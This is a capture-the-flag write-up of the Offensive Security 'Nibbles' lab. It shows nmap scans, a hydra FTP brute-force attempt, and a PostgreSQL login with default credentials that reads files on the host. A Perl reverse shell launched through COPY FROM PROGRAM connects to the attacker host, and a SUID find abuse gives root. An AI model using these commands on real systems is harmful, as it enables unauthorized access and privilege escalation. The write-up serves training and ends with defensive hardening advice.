Nibbles from Offensive Security is a great example of getting root on a box by just “Living off The Land”. This boot to root includes no exploitation scripts and shows the importance of hardening systems before deploying to production. Now, on to the hacking.
Reconnaissance
We start off with a basic nmap scan.
kali@kali:~/oscp/offsec/nibbles$ nmap -Pn -sV -sC -oA simple 192.168.192.47 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-14 21:26 EST Nmap scan report for 192.168.192.47 Host is up (0.069s latency). Not shown: 995 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA) | 256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA) |_ 256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Enter a title, displayed at the top of the window. 139/tcp closed netbios-ssn 445/tcp closed microsoft-ds Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.15 seconds
First, lets check out what is being hosted on port 80.
Simple web app with practically no interesting functionality other than the possible privilege escalation with Apache 2.4.38. We can take note of this and come back later.
Next, lets look at FTP. A few default logins didn’t work so I quickly set up a simple brute force using hydra.
kali@kali:~/oscp/offsec/nibbles$ cat /usr/share/wordlists/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt anonymous:anonymous root:rootpasswd root:12hrs37 ftp:b1uRR3 admin:admin localadmin:localadmin admin:1234 apc:apc admin:nas Root:wago ---------------------SNIP--------------------------
I split the usernames and passwords into separate .txt files using awk
. (I realized after the fact that this was unnecessary with a feature within hydra)
kali@kali:~/oscp/offsec/nibbles$ hydra -l usernames.txt -p passwords.txt 192.168.192.47 ftp Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-14 22:00:30 [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task [DATA] attacking ftp://192.168.192.47:21/ 1 of 1 target completed, 0 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-01-14 22:00:34
Nothing. Lets enumerate further using all tcp ports in the nmap scan.
kali@kali:~/oscp/offsec/nibbles$ nmap -Pn -sV -sC -oA full -p- 192.168.192.47 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-14 21:39 EST Nmap scan report for 192.168.192.47 Host is up (0.068s latency). Not shown: 65529 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA) | 256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA) |_ 256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Enter a title, displayed at the top of the window. 139/tcp closed netbios-ssn 445/tcp closed microsoft-ds 5437/tcp open postgresql PostgreSQL DB 11.3 - 11.7 | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2020-04-27T15:41:47 |_Not valid after: 2030-04-25T15:41:47 |_ssl-date: TLS randomness does not represent time Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 174.49 seconds
Alright we have a new port to play with. As always I attempt to connect using default credentials. Lets try this with the postgresql DB on port 5437.
kali@kali:~/oscp/offsec/nibbles$ psql -U postgres -p 5437 -h 192.168.192.47 Password for user postgres: psql (12.4 (Debian 12.4-3), server 11.7 (Debian 11.7-0+deb10u1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type "help" for help. postgres=#
BINGO! That’s a start. Now lets try and enumerate the file system using pg_ls_dir.
postgres=# select pg_ls_dir('./'); pg_ls_dir ---------------------- pg_stat pg_serial pg_replslot pg_xact global postgresql.auto.conf PG_VERSION pg_commit_ts postmaster.pid pg_tblspc pg_stat_tmp postmaster.opts pg_wal pg_multixact base pg_dynshmem pg_notify pg_logical pg_subtrans pg_twophase pg_snapshots (21 rows)
This opens up our enumeration scope. Lets check out the users on the system.
postgres=# select pg_ls_dir('/etc/passwd'); ------------------------------------------------------------------------------------------- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin wilson:x:1000:1000:wilson,,,:/home/wilson:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash Debian-snmp:x:107:114::/var/lib/snmp:/bin/false ftp:x:108:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
Lets see if we can get into Wilson’s home directory.
postgres=# select pg_ls_dir('/home/wilson'); pg_ls_dir --------------- .bash_logout .gnupg .bash_history .profile local.txt .bashrc ftp (7 rows)
Indeed. We see the local.txt.
postgres=# COPY temp FROM '/home/wilson/local.txt'; COPY 1 postgres=# SELECT * FROM temp; ---SNIP---- wilson:x:1000:1000:wilson,,,:/home/wilson:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin postgres:x:106:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash Debian-snmp:x:107:114::/var/lib/snmp:/bin/false ftp:x:108:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin 67ba59137bef6bca820428cf3146f6cd
Now that we have the user flag, lets get us a reverse shell to make navigating the filesystem a bit easier.
Foothold
Going back to Google, I found a possible method for RCE here. The method includes creating a table, copying code to the table (perl reverse shell), then selecting the table to execute the code.
postgres=# DROP TABLE IF EXISTS cmd_exec; DROP TABLE postgres=# CREATE TABLE cmd_exec(cmd_output text); CREATE TABLE postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$ke y}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.49.192:80");STDIN->fdopen($c,r);$~->fdop en($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'''; COPY 0 postgres=# SELECT * FROM cmd_exec; cmd_output ------------ (0 rows)
This took many attempts before realizing the only port I could get a reverse shell on was 80. So some firewall rules must be in place to prevent most outgoing traffic.
Start up a netcat listener on port 80.
kali@kali:~$ sudo nc -lvnp 80 listening on [any] 80 ... connect to [192.168.49.192] from (UNKNOWN) [192.168.192.47] 55162
Connection successful. Upgrade the shell for usability using python.
python -c 'import pty; pty.spawn("/bin/bash")' postgres@nibbles:/var/lib/postgresql/11/main$
Privilege Escalation
Now we have a low privilege shell as postgres. First lets start up a web server to pull down an enumeration script called LinEnum.sh. For this I will be using http.server and opening port 80 on my attacking machine.
kali@kali:~/tools/linuxenum$ sudo python3 -m http.server 80 [sudo] password for kali: Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
On the victim machine we can now wget the LinEnum script while in a location with write permissions.
postgres@nibbles:/tmp$ wget http://192.168.49.192/LinEnum.sh wget http://192.168.49.192/LinEnum.sh --2021-01-13 20:54:24-- http://192.168.49.192/LinEnum.sh Connecting to 192.168.49.192:80... connected. HTTP request sent, awaiting response... 200 OK Length: 46631 (46K) [text/x-sh] Saving to: 'LinEnum.sh' LinEnum.sh 100%[===================>] 45.54K --.-KB/s in 0.1s 2021-01-13 20:54:24 (321 KB/s) - 'LinEnum.sh' saved [46631/46631]
Add execute permissions to the script.
postgres@nibbles:/tmp$ chmod +x LinEnum.sh chmod +x LinEnum.sh
Execute LinEnum.sh
[-] SUID files: -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign -rwsr-xr-- 1 root messagebus 51184 Jun 9 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh -rwsr-xr-x 1 root root 34896 Jan 7 2019 /usr/bin/fusermount -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount -rwsr-xr-x 1 root root 315904 Feb 16 2019 /usr/bin/find -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount [+] Possibly interesting SUID files: -rwsr-xr-x 1 root root 315904 Feb 16 2019 /usr/bin/find
Looking through the output we see a possibly interesting SUID file – /usr/bin/find
. With the ability to run find as a different user we can use this to execute commands as root.
First we create a working file named “trenchesofit”. Then we find trenchesofit and execute the desired command.
postgres@nibbles:/tmp$ touch trenchesofit postgres@nibbles:/tmp$ find trenchesofit -exec "whoami" \; find trenchesofit -exec "whoami" \; root
Here we see the command executed as root so we should be able to grab the root flag by just using cat.
postgres@nibbles:/tmp$ find trenchesofit -exec cat /root/proof.txt \; find trenchesofit -exec cat /root/proof.txt \; 91aa7b2cee9c2d2476f9f3e3840c44d7
There we are, the root flag.
Conclusion
In conclusion, Nibbles from Offensive Security was a great learning experience for how postgresql access can lead from local file access to remote code execution. Again, no additional tools were needed to get root. We did however use one enumeration script that was wasn’t required, but did speed up the process.
From a defenders standpoint, detection of this movement would require proper database auditing and outbound network restrictions or anomaly detection.
Harden those systems, and until next time, stay safe in the Trenches of IT!